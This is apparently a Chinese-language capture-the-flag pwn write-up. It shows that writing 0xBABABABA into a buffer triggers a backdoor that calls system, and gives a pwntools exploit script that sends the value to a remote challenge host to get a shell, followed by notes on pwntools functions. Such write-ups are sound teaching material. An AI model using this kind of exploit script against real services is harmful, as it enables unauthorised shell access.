分析,当 buf 存储的值为 0xBABABABA (十六进制) 时,会调用 backdoor 函数
在 backdoor 中有命令执行,可以利用 system 获取 shell
综上,payload 是 0xBABABABA
exp:
from pwn improt *
context(log_level='debug')
p = remote('redirect.do-not-trust.hacking.run',10146)
payload = 0xBABABABA
p.sendline(p64(payload))
p.recv()
p.interactive()-context(os='linux', arch='amd64', log_level='debug')
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。-remote 模块访问远程服务器
-sendline(data) : 发送一行数据,相当于在数据末尾加\n。
-recv(numb=字节大小, timeout=default) : 接收指定字节数。
-interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。
打通,获取目录
得到 flag